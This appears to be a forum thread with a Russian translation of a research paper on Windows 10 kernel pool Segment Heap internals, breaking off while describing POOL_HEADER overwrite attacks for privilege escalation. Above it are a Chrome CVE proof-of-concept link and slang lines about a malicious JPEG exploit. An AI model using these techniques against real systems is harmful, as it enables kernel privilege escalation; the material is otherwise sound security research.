![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Ff6f940c0bea0c1abd08c1e6aeb85f0639238819149ca5067aa39da429ee68f95%2FPuliczek%2FCVE-2021-21123-PoC- Google-Chrome&hash=e580d1247225b724111127fb4a2e3f8e&return_error=1)
🐱💻 👍 Google Chrome - File System Access API - vulnerabilities reported by Maciej Pulikowski | Total Bug Bounty Reward: $5.000 | CVE-2021-21123 and 5 more... - Puliczek/CVE-2021-21123-PoC-Google-Ch...
github.com
ktoto uze expluatiruet toka 89 ne biot ostalnoe xuiarit
Jpeg kachaesh i pri zapuske etogo ze jpega exe stavit cheez powershell vot takaya dirashka u chroma
Heap Overflow - довольно распространенная уязвимость в приложениях. Эксплуатация таких уязвимостей часто зависит от глубокого понимания основных механизмов, используемых для управления кучей. Windows 10 недавно изменила способ управления своей кучей в области ядра. Цель этой статьи - представить недавнюю эволюцию механизмов кучи в ядре Windows NT и представить новые методы эксплуатации, характерные для пула ядра.
1. Введение
Пул - это куча, зарезервированная для ядра в системах Windows. В течение многих лет распределитель пула был очень конкретным и отличался от распределителя в пользовательсокм режиме. Все изменилось после обновления Windows 10 19H1 в марте 2019 года. Хорошо известная и документированная Segment Heap [7], используемая в пользовательской среде, была перенесена в ядро.
Однако остаются некоторые различия между распределителем, реализованным в ядре, и в пользовательской области, поскольку в области ядра все еще требуются некоторые специфические материалы. В этой статье основное внимание уделяется внутреннему устройству, которое настраивается для Segment Heap ядра с точки зрения эксплуатации.
Исследование, представленное в этой статье, адаптировано к архитектуре x64. Настройка, необходимая для различных архитектур, не изучена.
После краткого напоминания об историческом внутреннем устройстве пула в статье будет объяснено, как сегментная куча реализована в ядре, и какое влияние она оказала на материалы, специфичные для пула ядра. Затем в документе будет представлена новая атака на внутреннее устройство пула при использовании уязвимости, связанной с переполнением кучи в пуле ядра. Наконец, будет представлен общий эксплойт, использующий минимальное контролируемое переполнение кучи и позволяющий локальное повышение привилегий с низкого уровня целостности до SYSTEM.
1.1 Внутреннее устройство пула.
Эта статья не будет слишком углубляться в внутренности распределителя пула,
поскольку эта тема уже широко освещена [5], но для полного понимания статьи,
тем не менее, необходимо краткое напоминание о некоторых внутренних
компонентах. В этом разделе будут представлены некоторые внутренние компоненты
пула, какие они были в Windows 7, а также различные меры по безопасности и
изменения, внесенные в пул за последние несколько лет.
Описание внутреннего устройства будет сосредоточено на чанках, которые
умещаются на одной странице, которые являются наиболее распространенным
распределением в ядре. Выделения размером больше 0xFE0 ведут себя по-другому и
здесь не рассматриваются.
Выделение памяти в пуле.
Основными функциями выделения и освобождения памяти в ядре Windows являются
соответственно ExAllocatePoolWithTag и ExFreePoolWithTag.
PoolType - это битовое поле с этим связанным перечислением:
NonPagedPool = 0
PagedPool = 1
NonPagedPoolMustSucceed = 2
DontUseThisType = 3
NonPagedPoolCacheAligned = 4
PagedPoolCacheAligned = 5
NonPagedPoolCacheAlignedMustSucceed = 6
MaxPoolType = 7
PoolQuota = 8
NonPagedPoolSession = 20h
PagedPoolSession = 21h
NonPagedPoolMustSucceedSession = 22h
DontUseThisTypeSession = 23h
NonPagedPoolCacheAlignedSession = 24h
PagedPoolCacheAlignedSession = 25h
NonPagedPoolCacheAlignedMustSSession = 26h
NonPagedPoolNx = 200h
NonPagedPoolNxCacheAligned = 204hClick to expand...
В PoolType может храниться некоторая информация:
- тип используемой памяти, который может быть NonPagedPool, PagedPool,
SessionPool или NonPagedPoolNx;
- если выделение критическое (бит 1) и должно быть успешным. Если выделение
не удается, запускается BugCheck;
- если распределение выровнено по размеру кеша (бит 2);
- если выделение использует механизм PoolQuota (бит 3);
- другие недокументированные механизмы.
Тип используемой памяти важен, поскольку он изолирует распределения в разных диапазонах памяти. Два основных типа используемой памяти - это PagedPool и NonPagedPool. В документации MSDN это описывается следующим образом:
"Nonpaged pool - это невыгружаемая системная память. К нему можно получить доступ из любого IRQL, но это ограниченный ресурс, и драйверы должны выделять его только при необходимости. Выгружаемый пул - это выгружаемая системная память, и ее можно выделить и получить доступ только на IRQL <DIS- PATCH_LEVEL."
Как объяснялось в разделе 1.2, NonPagedPoolNx был введен в Windows 8 и должен использоваться вместо NonPagedPool.
SessionPool используется для выделения пространства сеанса и уникален для каждого сеанса пользователя. В основном он используется win32k.
Наконец, тег представляет собой ненулевой символьный литерал от одного до четырех символов (например, ’Tag1’). Разработчикам ядра рекомендуется использовать уникальный тег пула по пути кода, чтобы помочь отладчикам и верификаторам идентифицировать путь кода.
POOL_HEADER
В пуле все фрагменты, которые помещаются на одной странице, начинаются со
структуры POOL_HEADER. Этот заголовок содержит информацию, необходимую для
распределителя и тега. При попытке эксплуатировать уязвимость, связанную с
переполнением кучи в ядре Windows, в первую очередь необходимо перезаписать
структуру POOL_HEADER. Злоумышленнику доступны два варианта: правильно
переписать структуру POOL_HEADER и атаковать данные следующего фрагмента или
напрямую атаковать структуру POOL_HEADER.
В обоих случаях структура POOL_HEADER будет перезаписана, и хорошее понимание каждого поля и того, как оно используется, необходимо, чтобы иметь возможность использовать этот вид уязвимости. В этой статье основное внимание будет уделено атакам, направленным непосредственно на POOL_HEADER.
C:Copy to clipboard
struct POOL_HEADER
{
char PreviousSize;
char PoolIndex;
char BlockSize;
char PoolType;
int PoolTag;
Ptr64 ProcessBilled;
};
Структура POOL_HEADER, представленная на рисунке 3, немного изменилась с течением времени, но всегда сохраняет те же основные поля. В Windows 1809, до Windows 19H1, использовались все поля:
PreviousSize - это размер предыдущего блока, деленный на 16;
PoolIndex - это индекс в массиве PoolDescriptor;
BlockSize - это размер текущего распределения, деленный на 16;
PoolType - это битовое поле, содержащее информацию о типе распределения;
ProcessBilled - это указатель на KPROCESS, который произвел выделение.
Он устанавливается, только если в PoolType установлен флаг PoolQuota.
1.2 Атаки и защита, начиная с Windows 7
Tarjei Mandt и его статья "Использование пула ядра в Windows 7" [5] - это справочник об атаках, нацеленных на пул ядра. В нем представлены все внутренние компоненты пула и многочисленные атаки, а некоторые нацелены на POOL_HEADER.
Перезапись указателя процесса квоты
Распределение может взимать квоту с определенного процесса. Для этого ExAllocatePoolWithQuotaTag будет использовать поле ProcessBilled в POOL_HEADER для хранения указателя на _KPROCESS, которому назначено выделение.
Атака, описанная в документе - это перезапись указателя процесса квоты. Эта атака использует переполнение кучи для перезаписи указателя ProcessBilled выделенного фрагмента. Когда блок освобождается, если PoolType блока содержит флаг PoolQuota (0x8), указатель используется для разыменования значения. Управление этим указателем обеспечивает произвольный примитив разыменования, которого достаточно для повышения привилегий со стороны пользователя. Рисунок 4 представляет эту атаку.
Эта атака сошла на нет, начиная с Windows 8, с появлением ExpPoolQuotaCookie. Этот cookie генерируется случайным образом при загрузке и используется для защиты указателей от перезаписи злоумышленником. Например, он используется для XOR поля ProcessBilled:
ProcessBilled = KPROCESS_PTR ^ ExpPoolQuotaCookie ^ CHUNK_ADDR
Когда чанк освобождается, ядро проверяет, является ли закодированный указатель допустимым указателем KPROCESS:
C:Copy to clipboard
process_ptr = (struct _KPROCESS *)(chunk_addr ^ ExpPoolQuotaCookie ^
chunk_addr ->process_billed);
if ( process_ptr )
{
if (process_ptr < 0xFFFF800000000000 || (process_ptr ->Header.
Type & 0x7F) != 3 )
KeBugCheckEx ([...])
[...]
}
Не зная ни адреса блока, ни значения ExpPoolQuotaCookie невозможно предоставить действительный указатель и получить произвольное разыменование. Однако все еще возможно правильно переписать POOL_HEADER и провести полную атаку на данные, не задав флаг PoolQuota в PoolType. Для получения дополнительной информации об атаке Quota Process Pointer Overwrite, она была освещена на конференции Nuit du Hack XV [1].
NonPagedPoolNx
В Windows 8 был представлен новый тип пула памяти: NonPagedPoolNx. Он работает
точно так же, как NonPagedPool, за исключением того, что страницы памяти
больше не являются исполняемыми, что снижает риск всех эксплойтов,
использующих этот тип памяти для хранения шелл-кодов.
Выделения, которые ранее выполнялись в NonPagedPool, теперь используют NonPagedPoolNx, но тип NonPagedPool был сохранен из соображений совместимости со сторонними драйверами. Даже сегодня в Windows 10 многие сторонние драйверы все еще используют исполняемый файл NonPagedPool.
Различные меры по защите, введенные сверхурочно, сделали POOL_HEADER неинтересным для атак с использованием переполнения кучи. В настоящее время проще правильно переписать POOL_HEADER и атаковать данные следующего блока. Однако введение Segment Heap в пул изменило способ использования POOL_HEADER, и в этом документе показано, как его можно атаковать снова, чтобы эксплуатировать переполнение кучи в пуле ядра.
**2 Распределитель пула с сегментом кучи
2.1 Внутреннее устройство Segment Heap**
Segment Heap используется в области ядра, начиная с Windows 10 19H1, и очень похожа на сегментную кучу, используемую в пользовательской среде. Этот раздел направлен на представление основных функций Segment Heap и сосредоточение внимания на отличиях от той, которая используется в пользовательской области. Очень подробное объяснение внутреннего устройства Segment Heap пользовательского режима доступно в [7].
Как и та, которая используется в пользовательской области, Segment Heap направлена на предоставление различных функций в зависимости от размера выделения. Для этого определены четыре так называемых бэкэнда.
- Куча с низкой фрагментацией (сокращенно LFH): RtlHpLfhContextAllocate
- Переменный размер (сокращенно VS): RtlHpVsContextAllocateInternal
- Сегментый аллокатор (сокращенно. Seg): RtlHpSegAlloc
- Большой аллокатор: RtlHpLargeAlloc
Соответствие между запрошенным размером выделения и выбранным сервером показано на рисунке 5.
Три первых бэкэнда, Seg, VS и LFH, связаны с контекстом соответственно: _HEAP_SEG_CONTEXT, _HEAP_VS_CONTEXT и _HEAP_LFH_CONTEXT. Контексты бэкэнда хранятся в структуре _SEGMENT_HEAP.
1: kd> dt nt!_SEGMENT_HEAP
+0x000 EnvHandle : RTL_HP_ENV_HANDLE
+0x010 Signature : Uint4B
+0x014 GlobalFlags : Uint4B
+0x018 Interceptor : Uint4B
+0x01c ProcessHeapListIndex : Uint2B
+0x01e AllocatedFromMetadata : Pos 0, 1 Bit
+0x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0x020 ReservedMustBeZero1 : Uint8B
+0x028 UserContext : Ptr64 Void
+0x030 ReservedMustBeZero2 : Uint8B
+0x038 Spare : Ptr64 Void
+0x040 LargeMetadataLock : Uint8B
+0x048 LargeAllocMetadata : _RTL_RB_TREE
+0x058 LargeReservedPages : Uint8B
+0x060 LargeCommittedPages : Uint8B
+0x068 StackTraceInitVar : _RTL_RUN_ONCE
+0x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS
+0x0d8 GlobalLockCount : Uint2B
+0x0dc GlobalLockOwner : Uint4B
+0x0e0 ContextExtendLock : Uint8B
+0x0e8 AllocatedBase : Ptr64 UChar
+0x0f0 UncommittedBase : Ptr64 UChar
+0x0f8 ReservedLimit : Ptr64 UChar
+0x100 SegContexts : [2] _HEAP_SEG_CONTEXT
+0x280 VsContext : _HEAP_VS_CONTEXT
+0x340 LfhContext : _HEAP_LFH_CONTEXTClick to expand...
Существует 5 таких структур, соответствующих различным значениям _POOL_TYPE:
- Невыгружаемые пулы (бит 0 не установлен)
- Пул NonPagedNx (бит 0 не установлен, бит 9 установлен)
- Выгружаемые пулы (установлен бит 0)
- Пул PagedSession (бит 5 и 1 установлен)
Пятый _SEGMENT_HEAP выделен, но авторы не смогли найти ее предназачение. 3 первых _SEGMENT_HEAP, соответствующие пулам NonPaged, NonPagedNx и Paged, хранятся в HEAP_POOL_NODES. Что касается PagedPoolSession, соответствующий _SEGMENT_HEAP хранится в текущем потоке. На рисунке 6 показаны пять _SEGMENT_HEAP.
Хотя пользовательская Segment Heap использует только один контекст
распределения сегментов для выделения от 128 до 508 килобайт, в области ядра
Segment Heap использует 2 контекста распределения сегментов. Второй
используется для выделения от 508К до 7Г.
Бэкэнд сегмента
Бэкэнд сегмента используется для выделения фрагментов памяти размером от 128 КиБ до 7 ГиБ. Он также используется "за сценой" для выделения памяти для бэкэндов VS и LFH.
Контекст бэкэнд сегмента хранится в структуре под названием _HEAP_SEG_CONTEXT.
1: kd> dt nt!_HEAP_SEG_CONTEXT
+0x000 SegmentMask : Uint8B
+0x008 UnitShift : UChar
+0x009 PagesPerUnitShift : UChar
+0x00a FirstDescriptorIndex : UChar
+0x00b CachedCommitSoftShift : UChar
+0x00c CachedCommitHighShift : UChar
+0x00d Flags : <anonymous -tag >
+0x010 MaxAllocationSize : Uint4B
+0x014 OlpStatsOffset : Int2B
+0x016 MemStatsOffset : Int2B
+0x018 LfhContext : Ptr64 VoidClick to expand...
+0x020 VsContext : Ptr64 Void
+0x028 EnvHandle : RTL_HP_ENV_HANDLE
+0x038 Heap : Ptr64 Void
+0x040 SegmentLock : Uint8B
+0x048 SegmentListHead : _LIST_ENTRY
+0x058 SegmentCount : Uint8B
+0x060 FreePageRanges : _RTL_RB_TREE
+0x070 FreeSegmentListLock : Uint8B
+0x078 FreeSegmentList : [2] _SINGLE_LIST_ENTRYClick to expand...
Бэкэнд сегмента распределяет память по блокам переменного размера, называемым сегментами. Каждый сегмент состоит из нескольких доступных для размещения страниц.
Сегменты хранятся в связанном списке, хранящемся в SegmentListHead. Сегменты начинаются с _HEAP_PAGE_SEGMENT, за которым следуют 256 структур _HEAP_PAGE_RANGE_DESCRIPTOR.
1: kd> dt nt!_HEAP_PAGE_SEGMENT
+0x000 ListEntry : _LIST_ENTRY
+0x010 Signature : Uint8B
+0x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE
+0x020 UnusedWatermark : UChar
+0x000 DescArray : [256] _HEAP_PAGE_RANGE_DESCRIPTORClick to expand...
1: kd> dt nt!_HEAP_PAGE_RANGE_DESCRIPTOR
+0x000 TreeNode : _RTL_BALANCED_NODE
+0x000 TreeSignature : Uint4B
+0x004 UnusedBytes : Uint4B
+0x008 ExtraPresent : Pos 0, 1 Bit
+0x008 Spare0 : Pos 1, 15 BitsClick to expand...
+0x018 RangeFlags : UChar
+0x019 CommittedPageCount : UChar
+0x01a Spare : Uint2B
+0x01c Key : _HEAP_DESCRIPTOR_KEY
+0x01c Align : [3] UChar
+0x01f UnitOffset : UChar
+0x01f UnitSize : UCharClick to expand...
Чтобы обеспечить быстрый поиск свободных диапазонов страниц, в _HEAP_SEG_CONTEXT также поддерживается красно-черное дерево.
Каждый _HEAP_PAGE_SEGMENT имеет подпись, вычисляемую следующим образом:
Signature = Segment ^ SegContext ^ RtlpHpHeapGlobals ^ 0 xA2E64EADA2E64EAD;
Эта подпись используется для получения принадлежащего _HEAP_SEG_CONTEXT и соответствующего _SEGMENT_HEAP из любого выделенного фрагмента памяти.
На рисунке 7 показаны внутренние структуры, используемые в серверной части сегмента.
Исходный сегмент можно легко вычислить по любому адресу, замаскировав его с помощью SegmentMask, хранящегося в _HEAP_SEG_CONTEXT. SegmentMask имеет значение 0xfffffffffff00000.
Segment = Addr & SegContext ->SegmentMask;
Соответствующий PageRange можно легко вычислить из любого адреса с помощью UnitShift из _HEAP_SEG_CONTEXT. UnitShift установлен на 12.
**PageRange = Segment + sizeof(_HEAP_PAGE_RANGE_DESCRIPTOR) * (Addr- Segment)
SegContext ->UnitShift;**
Когда бэкэнд сегмента используется одним из других бэкэнд, поля RangeFlags _HEAP_PAGE_RANGE_DESCRIPTOR используются для хранения того, какой бэкэнд запросил выделение.
Бэкэнд переменного размера
Бэкэнд переменного размера выделяет фрагмент размером от 512 до 128 КБ. Его цель - обеспечить простое повторное использование свободного фрагмента.
Контекст бэкэнда переменного размера хранится в структуре под названием _HEAP_VS_CONTEXT.
0: kd> dt nt!_HEAP_VS_CONTEXT
+0x000 Lock : Uint8B
+0x008 LockType : _RTLP_HP_LOCK_TYPE
+0x010 FreeChunkTree : _RTL_RB_TREEClick to expand...
+0x020 SubsegmentList : _LIST_ENTRY
+0x030 TotalCommittedUnits : Uint8B
+0x038 FreeCommittedUnits : Uint8B
+0x040 DelayFreeContext : _HEAP_VS_DELAY_FREE_CONTEXT
+0x080 BackendCtx : Ptr64 Void
+0x088 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS
+0x0b0 Config : _RTL_HP_VS_CONFIG
+0x0b4 Flags : Uint4BClick to expand...
Свободные фрагменты хранятся в Красно-Черном дереве под названием FreeChunkTree. Когда запрашивается выделение, используется Красно-Черное дерево для нахождения любого свободного фрагмента точного размера или первого свободного фрагмента, превышающего запрошенный размер.
Освобожденный фрагмент возглавляется специальной структурой под названием _HEAP_VS_CHUNK_FREE_HEADER.
0: kd> dt nt!_HEAP_VS_CHUNK_FREE_HEADER
+0x000 Header : _HEAP_VS_CHUNK_HEADER
+0x000 OverlapsHeader : Uint8B
+0x008 Node : _RTL_BALANCED_NODEClick to expand...
После нахождения свободного фрагмента он разделяется до нужного размера с помощью вызова RtlpHpVsChunkSplit.
Все выделенные фрагменты возглавляются специальной структурой под названием _HEAP_VS_CHUNK_HEADER.
0: kd> dt nt!_HEAP_VS_CHUNK_HEADER
+0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0x008 EncodedSegmentPageOffset : Pos 0, 8 Bits
+0x008 UnusedBytes : Pos 8, 1 Bit
+0x008 SkipDuringWalk : Pos 9, 1 Bit
+0x008 Spare : Pos 10, 22 Bits
+0x008 AllocatedChunkBits : Uint4B
0: kd> dt nt!_HEAP_VS_CHUNK_HEADER_SIZE
+0x000 MemoryCost : Pos 0, 16 Bits
+0x000 UnsafeSize : Pos 16, 16 Bits
+0x004 UnsafePrevSize : Pos 0, 16 Bits
+0x004 Allocated : Pos 16, 8 Bits
+0x000 KeyUShort : Uint2B
+0x000 KeyULong : Uint4B
+0x000 HeaderBits : Uint8BClick to expand...
Все поля внутри этого заголовка имеют значение RtlpHpHeapGlobals и адрес блока.
Chunk - >Sizes = Chunk ->Sizes ^ Chunk ^ RtlpHpHeapGlobals;
Внутренне распределитель VS использует распределитель сегментов. Он используется в RtlpHpVsSubsegmentCreate через поле _HEAP_SUBALLOCATOR_CALLBACKS _HEAP_VS_CONTEXT. Все обратные вызовы субраспределителя проxorены к адресам контекста VS и RtlpHpHeapGlobals.
callbacks.Allocate = RtlpHpSegVsAllocate;
callbacks.Free = RtlpHpSegLfhVsFree;
callbacks.Commit = RtlpHpSegLfhVsCommit;
callbacks.Decommit = RtlpHpSegLfhVsDecommit;
callbacks.ExtendContext = NULL;Click to expand...
Если в FreeChunkTree нет достаточно большого фрагмента, выделяется новый Subsegment, размер которого находится в диапазоне от 64 КиБ до 256 КиБ, и вставляется в SubsegmentList. Его возглавляет структура _HEAP_VS_SUBSEGMENT. Все оставшееся пространство используется как свободный кусок и вставляется в FreeChunkTree.
0: kd> dt nt!_HEAP_VS_SUBSEGMENT
+0x000 ListEntry : _LIST_ENTRY
+0x010 CommitBitmap : Uint8B
+0x018 CommitLock : Uint8B
+0x020 Size : Uint2B
+0x022 Signature : Pos 0, 15 Bits
+0x022 FullCommit : Pos 15, 1 BitClick to expand...
На рисунке 8 показана организация памяти VS Backend.
Когда блок VS освобожден, если он меньше 1 КиБ и сервер VS настроен правильно (бит 4 Config.Flags установлен в 1), он временно сохраняется в списке внутри DelayFreeContext. Как только DelayFreeContext заполняется 32 блоками, все они действительно освобождаются сразу. DelayFreeContext никогда не используется для прямого выделения.
Когда блок VS действительно освобожден, если он смежен с двумя другими освобожденными блоками, все 3 будут объединены вместе с вызовом RtlpHpVsChunkCoalesce. Затем он будет вставлен в FreeChunkTree.
Бэкэнд с низкой фрагментацией кучи
Куча с низкой фрагментацией - это бэкэнд, предназначенная для небольших распределений от 1 до 512 байт.
Контекст LFH Backend хранится в структуре под названием _HEAP_LFH_CONTEXT.
0: kd> dt nt!_HEAP_LFH_CONTEXT
+0x000 BackendCtx : Ptr64 Void
+0x008 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS
+0x030 AffinityModArray : Ptr64 UChar
+0x038 MaxAffinity : UChar
+0x039 LockType : UChar
+0x03a MemStatsOffset : Int2B
+0x03c Config : _RTL_HP_LFH_CONFIG
+0x040 BucketStats : _HEAP_LFH_SUBSEGMENT_STATS
+0x048 SubsegmentCreationLock : Uint8B
+0x080 Buckets : [129] Ptr64 _HEAP_LFH_BUCKETClick to expand...
Основная особенность бэкэнда LFH - использовать корзины разных размеров, чтобы избежать фрагментации.
Каждый сегмент состоит из SubSegments, выделенных распределителем сегментов. Распределитель сегментов используется через поле _HEAP_SUBALLOCATOR_CALLBACKS _HEAP_LFH_CONTEXT. Все обратные вызовы субраспределителя xorятся к адресам контекста LFH и RtlpHpHeapGlobals.
callbacks.Allocate = RtlpHpSegLfhAllocate;
callbacks.Free = RtlpHpSegLfhVsFree;
callbacks.Commit = RtlpHpSegLfhVsCommit;
callbacks.Decommit = RtlpHpSegLfhVsDecommit;
callbacks.ExtendContext = RtlpHpSegLfhExtendContext;
Подсегмент LFH возглавляется структурой _HEAP_LFH_SUBSEGMENT.
0: kd> dt nt!_HEAP_LFH_SUBSEGMENT
+0x000 ListEntry : _LIST_ENTRY
+0x010 Owner : Ptr64 _HEAP_LFH_SUBSEGMENT_OWNER
+0x010 DelayFree : _HEAP_LFH_SUBSEGMENT_DELAY_FREE
+0x018 CommitLock : Uint8B
+0x020 FreeCount : Uint2B
+0x022 BlockCount : Uint2B
+0x020 InterlockedShort : Int2B
+0x020 InterlockedLong : Int4B
+0x024 FreeHint : Uint2B
+0x026 Location : UChar
+0x027 WitheldBlockCount : UChar
+0x028 BlockOffsets : _HEAP_LFH_SUBSEGMENT_ENCODED_OFFSETS
+0x02c CommitUnitShift : UChar
+0x02d CommitUnitCount : UChar
+0x02e CommitStateOffset : Uint2B
+0x030 BlockBitmap : [1] Uint8BClick to expand...
Затем каждый подсегмент разбивается на разные блоки LFH с соответствующим размером сегмента.
Чтобы узнать, какой сегмент используется, в каждом заголовке подсегмента сохраняется битовая карта.
Когда запрашивается выделение, распределитель LFH сначала ищет поле FreeHint структуры _HEAP_LFH_SUBSEGMENT, чтобы найти смещение последнего освобожденного блока в подсегменте. Затем он просканирует BlockBitmap по группе из 32 блоков в поисках свободного блока. Это сканирование рандомизировано благодаря таблице RtlpLowFragHeapRandomData.
В зависимости от конкуренции в данном сегменте может быть задействован механизм для упрощения выделения путем выделения SubSegment каждому ЦП. Этот механизм называется Affinity Slot.
На рисунке 9 представлена основная архитектура бэкэнд части LFH.
Динамические списки
Освободившийся кусок размером от 0x200 до 0xF80 байтов можно временно сохранить в резервном списке, чтобы обеспечить быстрое выделение. Пока они находятся в нем, эти фрагменты не проходят через соответствующий механизм освобождения.
Список представлен структурой _RTL_DYNAMIC_LOOKASIDE и хранится в поле UserContext _SEGMENT_HEAP.
0: kd> dt nt!_RTL_DYNAMIC_LOOKASIDE
+0x000 EnabledBucketBitmap : Uint8B
+0x008 BucketCount : Uint4B
+0x00c ActiveBucketCount : Uint4B
+0x040 Buckets : [64] _RTL_LOOKASIDEClick to expand...
Каждый освобожденный блок сохраняется в _RTL_LOOKASIDE, соответствующем его размеру (как выражено в POOL_HEADER). Соответствие размеров происходит по той же схеме, что и для Bucket в LFH.
0: kd> dt nt!_RTL_LOOKASIDE
+0x000 ListHead : _SLIST_HEADER
+0x010 Depth : Uint2B
+0x012 MaximumDepth : Uint2B
+0x014 TotalAllocates : Uint4B
+0x018 AllocateMisses : Uint4B
+0x01c TotalFrees : Uint4B
+0x020 FreeMisses : Uint4B
+0x024 LastTotalAllocates : Uint4B
+0x028 LastAllocateMisses : Uint4B
+0x02c LastTotalFrees : Uint4BClick to expand...
Одновременно включается только подмножество доступных сегментов (поле
ActiveBucketCount _RTL_DYNAMIC_LOOKASIDE). Каждый раз, когда запрашивается
выделение, обновляются метрики соответствующего списка.
Каждые 3 сканирования Диспетчера Набора Баланса ребалансирует динамический список. Включены наиболее часто используемые с момента последней перебалансировки. Размер каждого списка зависит от его использования, но не может быть больше MaximumDepth или меньше 4. Пока количество новых выделений меньше 25, глубина уменьшается на 10. В то же время глубина уменьшается на 1, если коэффициент промахов ниже 0,5%, в противном случае она увеличивается по следующей формуле.
2.2 POOL_HEADER
Как показано в разделе 1.1, структура POOL_HEADER возглавляла все выделенные фрагменты в распределителе кучи ядра до Windows 10 19H1. Тогда использовались все поля. С обновлением распределителя кучи ядра большинство полей POOL_HEADER стали бесполезными, но небольшая выделенная память все еще занята им.
Определение POOL_HEADER показано на рисунке 10.
C:Copy to clipboard
struct POOL_HEADER
{
char PreviousSize;
char PoolIndex;
char BlockSize;
char PoolType;
int PoolTag;
Ptr64 ProcessBilled;
};
Распределитель устанавливает следующие поля:
PoolHeader - >PoolTag = PoolTag;
PoolHeader ->BlockSize = BucketBlockSize >> 4;
PoolHeader ->PreviousSize = 0;
PoolHeader ->PoolType = changedPoolType & 0x6D | 2;
Вот краткое описание назначения каждого из полей POOL_HEADER, начиная с Windows 19H1.
PreviousSize - не используется и сохранен равным 0.
PoolIndex - Не используется.
BlockSize - Размер чанка. Используется только для последующего сохранения
фрагмента в списке Dynamic Lookaside (см. 2.1).
PoolType - Использование не изменилось; используется для сохранения
запрошенного POOL_TYPE.
PoolTag - Использование не изменилось; используется для сохранения
PoolTag.
- Использование не изменилось; используется для отслеживания процесса,
требующего выделения, если PoolType имеет значение PoolQuota (бит 3). Значение
рассчитывается следующим образом:
**ProcessBilled = chunk_addr ^ ExpPoolQuotaCookie ^KPROCESS;
CacheAligned**
При вызове ExAllocatePoolWithTag, если для PoolType установлен бит CacheAligned (бит 2), возвращаемая память выравнивается по размеру строки кэша. Значение размера строки кэша зависит от ЦП, но обычно составляет 0x40.
Сначала распределитель увеличит размер выделения ExpCacheLineSize:
C:Copy to clipboard
if ( PoolType & 4 )
{
request_alloc_size += ExpCacheLineSize;
if ( request_alloc_size > 0xFE0 )
{
request_alloc_size -= ExpCacheLineSize;
PoolType = PoolType & 0xFB;
}
}
Если новый размер выделения не может уместиться на одной странице, то бит CacheAligned будет проигнорирован.
Затем выделенный фрагмент должен соответствовать трем условиям:
- окончательный адрес распределения должен быть выровнен по
ExpCacheLineSize;
- чанк должен иметь POOL_HEADER в самом начале чанка;
- блок должен иметь POOL_HEADER по адресу выделения минус размер
(POOL_HEADER).
Поэтому, если адрес распределения не выровнен должным образом, у блока может быть два заголовка.
Первый POOL_HEADER будет, как обычно, в начале чанка, а второй будет выровнен по ExpCacheLineSize - sizeof (POOL_HEADER), в результате чего окончательный адрес выделения будет выровнен по ExpCacheLineSize. Бит CacheAligned удаляется из первого POOL_HEADER, а второй POOL_HEADER заполняется следующими значениями:
PreviousSize - Используется для хранения разрыва, установленного между
двумя заголовками.
PoolIndex - Не используется.
BlockSize - Размер выделенного сегмента в первом POOL_HEADER, уменьшенный
размер во втором.
PoolType - Как обычно, но бит CacheAligned установлен.
PoolTag - Как обычно, то же самое для POOL_HEADER.
ProcessBilled - Не используется.
Кроме того, указатель, который мы назвали AlignedPoolHeader, может быть сохранен после первого POOL_HEADER, если в выравнивающем заполнении достаточно места. Он указывает на второй POOL_HEADER и xorится с помощью ExpPoolQuotaCookie.
На рисунке 11 показано расположение двух POOL_HEADER, используемых в случае выравнивания кеша.
2.3 Резюме
Начиная с Windows 19H1 и введение Segment Heap, некоторая информация, которая хранилась в POOL_HEADER каждого фрагмента, больше не требуется. Однако другие, такие как Pooltype, Pooltag или возможность использовать механизмы CacheAligned и PoolQuota, по-прежнему необходимы.
Вот почему каждому выделению под 0xFE0 по-прежнему предшествует хотя бы один POOL_HEADER. Использование полей POOL_HEADER начиная с Windows 19H1 описано в разделе 2.2. На рисунке 12 представлен фрагмент, выделенный с помощью бэкэнда LFH, поэтому перед ним стоит только POOL_HEADER.
Как объяснено в п. 2.1, в зависимости от бэкэнда память может возглавляться
каким-то определенным заголовком. Например, блок размером 0x280 будет
использовать бэкэнда VS, поэтому ему будет предшествовать
_HEAP_VS_CHUNK_HEADER размером 0x10. На рисунке 13 представлен фрагмент,
выделенный с использованием сегмента VS, которому, таким образом, предшествуют
заголовок VS и POOL_HEADER.
Наконец, если требуется выровнять выделение в строке кэша, блок может содержать два POOL_HEADER. У второго будет установлен бит CacheAligned, и он будет использоваться для извлечения первого и адреса фактического выделения. На рисунке 14 представлен фрагмент, выделенный с помощью LFH и запрошенный для выравнивания по размеру кеша, таким образом, предшествуют два POOL_HEADER.
На рисунке 15 показано дерево решений, используемое при распределении.
С точки зрения эксплуатации можно сделать два вывода. Во-первых, новое использование POOL_HEADER упростит эксплуатацию: поскольку большинство полей не используются, при их переопределении следует проявлять меньшую осторожность. Другой результат может заключаться в использовании нового использования POOL_HEADER для поиска новых методов эксплуатации.
3 Атака POOL_HEADER
Если уязвимость, связанная с переполнением кучи, позволяет действительно хорошо контролировать записанные данные и их размер, самым простым решением, вероятно, является перезапись POOL_HEADER и прямая атака на данные следующего фрагмента. Единственное, что нужно сделать, это убедиться, что бит PoolQuota не установлен в PoolType, чтобы избежать проверки целостности поля ProcessBilled при освобождении поврежденного фрагмента.
Однако в этом разделе будут представлены некоторые атаки, которые могут быть выполнены с переполнением кучи всего в несколько байтов, путем нацеливания на POOL_HEADER.
**3.1 Нацеливание на BlockSize
От переполнения кучи к большему переполнению кучи**
Как объяснялось в разделе 2.1, поле BlockSize используется в механизме освобождения для хранения некоторых фрагментов в Динамическом Списке.
Злоумышленник может использовать переполнение кучи, чтобы изменить значение поля BlockSize на большее, чем 0x200. Если поврежденный фрагмент будет освобожден, контролируемый BlockSize будет использоваться для хранения фрагмента в списке неправильного размера. Следующее выделение такого размера может использовать слишком маленькое выделение для хранения всех требуемых данных, что приведет к другому переполнению кучи.
Используя методы распыления и определенные объекты, злоумышленник может превратить переполнение 3-байтовой кучи в переполнение кучи до 0xFD0 байтов, в зависимости от размера уязвимого блока. Это также позволяет злоумышленнику выбрать объект, который переполнится, и, возможно, лучше контролировать условия переполнения.
3.2 Нацеливание на PoolType
